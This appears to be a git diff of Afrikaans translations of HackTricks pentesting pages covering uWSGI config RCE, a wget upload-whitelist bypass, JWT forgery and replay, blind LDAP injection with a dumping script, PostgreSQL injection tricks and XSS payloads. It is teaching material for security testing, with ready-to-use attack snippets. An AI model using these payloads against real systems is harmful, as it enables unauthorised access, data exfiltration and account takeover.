Afstandsopdrag-uitvoering (RCE) kwesbaarhede kan in uWSGI-bedieners benut word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie funksie kan gemanipuleer word vir slegte doeleindes soos Afstandsopdrag-uitvoering of Willekeurige Lêer Skryf/Lees wanneer 'n `.ini` konfigurasielêer verwerk word.
|
||||
Remote Command Execution (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers benut 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers, en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI, is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitvoer toelaat. Hierdie kenmerk kan gemanipuleer word vir slegte doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word.
|
||||
|
||||
Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskeie skemas toon:
|
||||
```ini
|
||||
|
@ -152,7 +152,7 @@ Dit is van kardinale belang om die los aard van uWSGI se konfigurasie-lêerontle
|
|||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lêers** te **aflaai** en jy kan die **URL** **aangee**. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. egter, **hierdie kontrole kan omseil word.**\
|
||||
Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, egter, **wget** sny die lêernames tot **236** karakters. Jy kan 'n lêer aflaai wat "A"\*232+".php"+".gif" genoem word, hierdie lêernaam sal die **kontrole omseil** (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**.
|
||||
Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, egter, **wget** sny die lêernames tot **236** karakters. Jy kan 'n lêer aflaai met die naam "A"\*232+".php"+".gif", hierdie lêernaam sal die **kontrole omseil** (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
|
@ -312,7 +312,7 @@ Meer inligting in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-i
|
|||
|
||||
## Polyglot Lêers
|
||||
|
||||
Polyglot lêers dien as 'n unieke hulpmiddel in kuberveiligheid, wat optree as kameleons wat geldig in verskeie lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat beide as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie paar nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar.
|
||||
Polyglot lêers dien as 'n unieke hulpmiddel in kuberveiligheid, wat optree as kameleons wat geldig in verskeie lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat sowel as 'n GIF as 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie paar nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar.
|
||||
|
||||
Die kernnut van polyglot lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op tipe basis skandeer. Gewone praktyk in verskeie toepassings behels die toelaat van slegs sekere lêertipes vir opgelaai—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP, of Phar-lêers) inhou, te verminder. 'n Polyglot, deur te voldoen aan die struktuurvereistes van verskeie lêertipes, kan egter stilweg hierdie beperkings omseil.
|
||||
|
||||
|
@ -329,7 +329,7 @@ Meer inligting in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@ Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-siz
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in geskryf en gesproke Pools vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -44,26 +44,26 @@ You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/s
|
|||
|
||||
### Manipuleer data sonder om enigiets te verander
|
||||
|
||||
Jy kan net die data manipuleer terwyl die handtekening dieselfde bly en kyk of die bediener die handtekening nagaan. Probeer om jou gebruikersnaam na "admin" te verander byvoorbeeld.
|
||||
Jy kan net die data manipuleer terwyl jy die handtekening soos dit is laat en kyk of die bediener die handtekening nagaan. Probeer om jou gebruikersnaam na "admin" te verander byvoorbeeld.
|
||||
|
||||
#### **Word die token nagegaan?**
|
||||
|
||||
Om te kyk of 'n JWT se handtekening geverifieer word:
|
||||
|
||||
* 'n Foutboodskap dui op 'n aanhoudende verifikasie; sensitiewe besonderhede in uitgebreide foute moet hersien word.
|
||||
* 'n Foutboodskap dui op voortgaande verifikasie; sensitiewe besonderhede in uitgebreide foute moet hersien word.
|
||||
* 'n Verandering in die teruggegee bladsy dui ook op verifikasie.
|
||||
* Geen verandering dui op geen verifikasie nie; dit is wanneer om te eksperimenteer met die manipulasie van payload-eise.
|
||||
* Geen verandering dui op geen verifikasie nie; dit is wanneer om te eksperimenteer met die manipulasie van payload claims.
|
||||
|
||||
### Oorsprong
|
||||
|
||||
Dit is belangrik om te bepaal of die token bediener-kant of kliënt-kant gegenereer is deur die proxy se versoekgeskiedenis te ondersoek.
|
||||
Dit is belangrik om te bepaal of die token server-kant of kliënt-kant gegenereer is deur die proxy se versoekgeskiedenis te ondersoek.
|
||||
|
||||
* Tokens wat eers van die kliëntkant gesien word, dui aan dat die sleutel moontlik aan kliënt-kant kode blootgestel mag wees, wat verdere ondersoek vereis.
|
||||
* Tokens wat bediener-kant oorspronklik is, dui op 'n veilige proses.
|
||||
* Tokens wat eerste van die kliëntkant gesien word, dui aan dat die sleutel moontlik aan kliënt-kant kode blootgestel mag wees, wat verdere ondersoek vereis.
|
||||
* Tokens wat server-kant oorspronklik is, dui op 'n veilige proses.
|
||||
|
||||
### Duur
|
||||
|
||||
Kyk of die token langer as 24 uur hou... dalk verval dit nooit. As daar 'n "exp" veld is, kyk of die bediener dit korrek hanteer.
|
||||
Kyk of die token langer as 24h hou... dalk verval dit nooit. As daar 'n "exp" veld is, kyk of die bediener dit korrek hanteer.
|
||||
|
||||
### Brute-force HMAC geheim
|
||||
|
||||
|
@ -146,9 +146,9 @@ This alteration forces the use of a known secret key, `ATTACKER`, for JWT signin
|
|||
#### jku
|
||||
|
||||
jku staan vir **JWK Set URL**.\
|
||||
As die token 'n “**jku**” **Header** eis gebruik, dan **kyk na die verskafde URL**. Dit moet na 'n URL wys wat die JWKS-lêer bevat wat die Publieke Sleutel vir die verifikasie van die token hou. Manipuleer die token om die jku-waarde na 'n webdiens te wys waarvan jy die verkeer kan monitor.
|
||||
If the token uses a “**jku**” **Header** claim then **check out the provided URL**. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
|
||||
|
||||
Eerstens moet jy 'n nuwe sertifikaat met nuwe private & publieke sleutels skep.
|
||||
First you need to create a new certificate with new private & public keys.
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
|
@ -225,7 +225,7 @@ const publicComponents = key.exportKey('components-public');
|
|||
console.log('Parameter n: ', publicComponents.n.toString("hex"));
|
||||
console.log('Parameter e: ', publicComponents.e.toString(16));
|
||||
```
|
||||
Finally, met die publieke en private sleutel en die nuwe "n" en "e" waardes kan jy [jwt.io](https://jwt.io) gebruik om 'n nuwe geldige JWT te vervals met enige inligting.
|
||||
Finally, using the public and private key and the new "n" and "e" values you can use [jwt.io](https://jwt.io) to forge a new valid JWT with any information.
|
||||
|
||||
### ES256: Onthulling van die private sleutel met dieselfde nonce
|
||||
|
||||
|
@ -235,8 +235,8 @@ Hier is 'n voorbeeld: [ECDSA: Onthulling van die private sleutel, as dieselfde n
|
|||
|
||||
### JTI (JWT ID)
|
||||
|
||||
Die JTI (JWT ID) eis bied 'n unieke identifiseerder vir 'n JWT Token. Dit kan gebruik word om te voorkom dat die token herhaal word.\
|
||||
Maar, stel jou 'n situasie voor waar die maksimum lengte van die ID 4 is (0001-9999). Die versoek 0001 en 10001 gaan dieselfde ID gebruik. So as die agtergrond die ID op elke versoek verhoog, kan jy dit misbruik om 'n **versoek te herhaal** (wat vereis dat jy 10000 versoeke tussen elke suksesvolle herhaling stuur).
|
||||
Die JTI (JWT ID) eis bied 'n unieke identifiseerder vir 'n JWT-token. Dit kan gebruik word om te voorkom dat die token herhaal word.\
|
||||
Echter, stel jou 'n situasie voor waar die maksimum lengte van die ID 4 is (0001-9999). Die versoek 0001 en 10001 gaan dieselfde ID gebruik. So as die agtergrond die ID op elke versoek verhoog, kan jy dit misbruik om 'n **versoek te herhaal** (wat vereis dat jy 10000 versoeke tussen elke suksesvolle herhaling stuur).
|
||||
|
||||
### JWT Geregistreerde eise
|
||||
|
||||
|
@ -246,13 +246,13 @@ Maar, stel jou 'n situasie voor waar die maksimum lengte van die ID 4 is (0001-9
|
|||
|
||||
**Cross-service Relay Aanvalle**
|
||||
|
||||
Daar is waargeneem dat sommige webtoepassings staatmaak op 'n vertroude JWT diens vir die generasie en bestuur van hul tokens. Voorvalle is aangeteken waar 'n token, gegenereer vir een kliënt deur die JWT diens, deur 'n ander kliënt van dieselfde JWT diens aanvaar is. As die uitreiking of vernuwing van 'n JWT via 'n derdeparty diens waargeneem word, moet die moontlikheid om 'n rekening op 'n ander kliënt van daardie diens aan te meld met dieselfde gebruikersnaam/e-pos ondersoek word. 'n Poging moet dan aangewend word om die verkregen token in 'n versoek aan die teiken te herhaal om te sien of dit aanvaar word.
|
||||
Daar is waargeneem dat sommige webtoepassings op 'n vertroude JWT-diens staatmaak vir die generasie en bestuur van hul tokens. Voorvalle is aangeteken waar 'n token, gegenereer vir een kliënt deur die JWT-diens, deur 'n ander kliënt van dieselfde JWT-diens aanvaar is. As die uitreiking of hernuwing van 'n JWT via 'n derdeparty-diens waargeneem word, moet die moontlikheid om 'n rekening op 'n ander kliënt van daardie diens aan te meld met dieselfde gebruikersnaam/e-pos ondersoek word. 'n Poging moet dan aangewend word om die verkregen token in 'n versoek aan die teiken te herhaal om te sien of dit aanvaar word.
|
||||
|
||||
* 'n Kritieke probleem kan aangedui word deur die aanvaarding van jou token, wat moontlik die vervalsing van enige gebruiker se rekening toelaat. Dit moet egter opgemerk word dat toestemming vir wyer toetsing benodig mag word as om aan te meld op 'n derdeparty toepassing, aangesien dit 'n wettige grys gebied kan betree.
|
||||
* 'n Kritieke probleem kan aangedui word deur die aanvaarding van jou token, wat moontlik die vervalsing van enige gebruiker se rekening toelaat. Dit moet egter opgemerk word dat toestemming vir wyer toetsing benodig mag word as om aan te meld op 'n derdeparty-toepassing, aangesien dit 'n wettige grys gebied kan betree.
|
||||
|
||||
**Vervaldatum Kontrole van Tokens**
|
||||
|
||||
Die token se vervaldatum word nagegaan met die "exp" Payload eis. Aangesien JWTs dikwels sonder sessie-inligting gebruik word, is versigtige hantering nodig. In baie gevalle kan die vang en herhaling van 'n ander gebruiker se JWT die vervalsing van daardie gebruiker moontlik maak. Die JWT RFC beveel aan om JWT herhalingsaanvalle te verminder deur die "exp" eis te gebruik om 'n vervaldatum vir die token in te stel. Boonop is die implementering van relevante kontroles deur die toepassing om die verwerking van hierdie waarde en die verwerping van vervalde tokens te verseker, van kardinale belang. As die token 'n "exp" eis insluit en toets tydgrense dit toelaat, word dit aanbeveel om die token te stoor en dit na die vervaldatum te herhaal. Die inhoud van die token, insluitend tydstempel parsing en vervaldatum kontrole (tydstempel in UTC), kan gelees word met die jwt\_tool se -R vlag.
|
||||
Die token se vervaldatum word nagegaan met behulp van die "exp" Payload-eis. Aangesien JWTs dikwels sonder sessie-inligting gebruik word, is versigtige hantering nodig. In baie gevalle kan die vaslegging en herhaling van 'n ander gebruiker se JWT die vervalsing van daardie gebruiker moontlik maak. Die JWT RFC beveel aan om JWT herhalingsaanvalle te verminder deur die "exp" eis te gebruik om 'n vervaldatum vir die token in te stel. Boonop is die implementering van relevante kontroles deur die toepassing om die verwerking van hierdie waarde en die verwerping van vervalde tokens te verseker, van kardinale belang. As die token 'n "exp" eis insluit en toets tydgrense toelaat, word dit aanbeveel om die token te stoor en dit na die vervaldatum te herhaal. Die inhoud van die token, insluitend tydstempel parsing en vervaldatum kontrole (tydstempel in UTC), kan gelees word met behulp van die jwt\_tool se -R vlag.
|
||||
|
||||
* 'n Sekuriteitsrisiko mag teenwoordig wees as die toepassing steeds die token valideer, aangesien dit mag impliseer dat die token nooit kan verval nie.
|
||||
|
||||
|
@ -260,23 +260,23 @@ Die token se vervaldatum word nagegaan met die "exp" Payload eis. Aangesien JWTs
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackable te hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,9 +17,9 @@ Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-siz
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na mense!** (_vloeiend in geskryf en gesproke Pools vereis_).
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -33,7 +33,7 @@ As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons
|
|||
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**LDAP Injection** is 'n aanval wat webtoepassings teiken wat LDAP-verklarings uit gebruikersinvoer opstel. Dit gebeur wanneer die toepassing **nie behoorlik sanitiseer** invoer nie, wat aanvallers toelaat om **LDAP-verklarings te manipuleer** deur 'n plaaslike proxy, wat moontlik kan lei tot ongemagtigde toegang of datamanipulasie.
|
||||
**LDAP Injection** is 'n aanval wat webtoepassings teiken wat LDAP-verklarings uit gebruikersinvoer opstel. Dit gebeur wanneer die toepassing **nie behoorlik sanitiseer** invoer nie, wat aanvallers toelaat om **LDAP-verklarings te manipuleer** deur 'n plaaslike proxy, wat moontlik kan lei tot ongeoorloofde toegang of datamanipulasie.
|
||||
|
||||
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
|
||||
|
@ -57,7 +57,7 @@ Byvoorbeeld:\
|
|||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||
`(&(objectClass=user)(uid=*))`
|
||||
|
||||
Jy kan toegang tot die databasis verkry, en dit kan inligting van baie verskillende tipes bevat.
|
||||
Jy kan toegang tot die databasis verkry, en dit kan inligting van 'n verskeidenheid verskillende tipes bevat.
|
||||
|
||||
**OpenLDAP**: As 2 filters aankom, voer slegs die eerste een uit.\
|
||||
**ADAM of Microsoft LDS**: Met 2 filters gooi hulle 'n fout.\
|
||||
|
@ -152,7 +152,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
|
|||
```
|
||||
#### Dump data
|
||||
|
||||
Jy kan oor die ascii letters, syfers en simbole herhaal:
|
||||
Jy kan oor die ascii letters, syfers en simbole iterasie maak:
|
||||
```bash
|
||||
(&(sn=administrator)(password=*)) : OK
|
||||
(&(sn=administrator)(password=A*)) : KO
|
||||
|
@ -167,7 +167,7 @@ Jy kan oor die ascii letters, syfers en simbole herhaal:
|
|||
|
||||
#### **Ontdek geldige LDAP-velde**
|
||||
|
||||
LDAP-objekte **bevat standaard verskeie eienskappe** wat gebruik kan word om **inligting te stoor**. Jy kan probeer om **allemaal te brute-force om daardie inligting te onttrek.** Jy kan 'n lys van [**standaard LDAP-eienskappe hier**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) vind.
|
||||
LDAP-objekte **bevat standaard verskeie eienskappe** wat gebruik kan word om **inligting te stoor**. Jy kan probeer om **almal daarvan te brute-force om daardie inligting te onttrek.** Jy kan 'n lys van [**standaard LDAP-eienskappe hier**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) vind.
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
|
@ -224,7 +224,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in **hacking loopbaan** en om die onhackable te hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -25,15 +25,15 @@ As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons
|
|||
|
||||
**Hierdie bladsy het ten doel om verskillende truuks te verduidelik wat jou kan help om 'n SQL-inspuiting in 'n postgresql databasis te benut en om die truuks aan te vul wat jy kan vind op** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
|
||||
## Netwerk Interaksie - Privilege Escalation, Port Scanner, NTLM-uitdaging antwoord openbaarmaking & Exfiltrasie
|
||||
## Netwerk Interaksie - Privilege Escalation, Port Scanner, NTLM uitdaging antwoord openbaar & Exfiltrasie
|
||||
|
||||
Die **PostgreSQL-module `dblink`** bied vermoëns om met ander PostgreSQL-instanties te verbind en TCP-verbindinge uit te voer. Hierdie funksies, gekombineer met die `COPY FROM` funksionaliteit, stel aksies soos privilege escalatie, port scanning, en NTLM-uitdaging antwoord vang in staat. Vir gedetailleerde metodes om hierdie aanvalle uit te voer, kyk hoe om [hierdie aanvalle uit te voer](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
Die **PostgreSQL module `dblink`** bied vermoëns om met ander PostgreSQL instansies te verbind en TCP verbindings uit te voer. Hierdie funksies, gekombineer met die `COPY FROM` funksionaliteit, stel aksies soos privilege escalasie, port scanning, en NTLM uitdaging antwoord vang in staat. Vir gedetailleerde metodes om hierdie aanvalle uit te voer, kyk hoe om [hierdie aanvalle uit te voer](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
|
||||
### **Exfiltrasie voorbeeld met dblink en groot voorwerpe**
|
||||
|
||||
Jy kan [**hierdie voorbeeld lees**](dblink-lo\_import-data-exfiltration.md) om 'n CTF voorbeeld te sien van **hoe om data binne groot voorwerpe te laai en dan die inhoud van groot voorwerpe binne die gebruikersnaam** van die funksie `dblink_connect` te exfiltreer.
|
||||
|
||||
## PostgreSQL Aanvalle: Lees/schryf, RCE, privesc
|
||||
## PostgreSQL Aanvalle: Lees/skryf, RCE, privesc
|
||||
|
||||
Kyk hoe om die gasheer te kompromitteer en voorregte van PostgreSQL te verhoog in:
|
||||
|
||||
|
@ -87,7 +87,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
|
|||
|
||||
### Verbode aanhalings
|
||||
|
||||
As jy nie aanhalings vir jou payload kan gebruik nie, kan jy dit omseil met `CHR` vir basiese clausules (_karakter-konkatenasie werk slegs vir basiese vrae soos SELECT, INSERT, DELETE, ens. Dit werk nie vir alle SQL-verklarings_):
|
||||
As jy nie aanhalings vir jou payload kan gebruik nie, kan jy dit omseil met `CHR` vir basiese klousules (_karakter-konkatenasie werk slegs vir basiese vrae soos SELECT, INSERT, DELETE, ens. Dit werk nie vir alle SQL-verklarings_):
|
||||
```
|
||||
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
||||
```
|
||||
|
@ -97,7 +97,7 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackable wil hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackable hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -31,7 +31,7 @@ As jy belangstel in 'n **hacking loopbaan** en die onhackable wil hack - **ons h
|
|||
4. Javascript **funksie** wat **uitgevoer** word
|
||||
1. Jy kan die naam van die funksie aandui om uit te voer. bv.: `?callback=alert(1)`
|
||||
4. As **gebruik**:
|
||||
1. Jy kan 'n **DOM XSS** misbruik, let op hoe jou invoer beheer word en of jou **gecontroleerde invoer deur enige sink gebruik word.**
|
||||
1. Jy kan 'n **DOM XSS** misbruik, let op hoe jou invoer beheer word en of jou **beheerde invoer deur enige sink gebruik word.**
|
||||
|
||||
Wanneer jy aan 'n komplekse XSS werk, mag jy dit interessant vind om te weet oor:
|
||||
|
||||
|
@ -58,12 +58,12 @@ Hou ook in gedagte [Kliëntkant Sjabloon Inspuiting](../client-side-template-inj
|
|||
|
||||
### Binne HTML-tags eienskap
|
||||
|
||||
As jou invoer reflekteer binne die waarde van die eienskap van 'n tag, kan jy probeer:
|
||||
As jou invoer binne die waarde van die eienskap van 'n tag reflekteer, kan jy probeer:
|
||||
|
||||
1. Om **te ontsnap van die eienskap en van die tag** (dan sal jy in die rauwe HTML wees) en nuwe HTML-tag te skep om te misbruik: `"><img [...]`
|
||||
1. Om te **ontsnap van die eienskap en van die tag** (dan sal jy in die rauwe HTML wees) en nuwe HTML-tag te skep om te misbruik: `"><img [...]`
|
||||
2. As jy **kan ontsnap van die eienskap maar nie van die tag nie** (`>` is geënkodeer of verwyder), afhangende van die tag kan jy **'n gebeurtenis skep** wat JS-kode uitvoer: `" autofocus onfocus=alert(1) x="`
|
||||
3. As jy **nie kan ontsnap van die eienskap nie** (`"` word geënkodeer of verwyder), dan, afhangende van **watter eienskap** jou waarde reflekteer in **of jy die hele waarde beheer of net 'n deel**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit in staat stel om arbitrêre kode uit te voer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
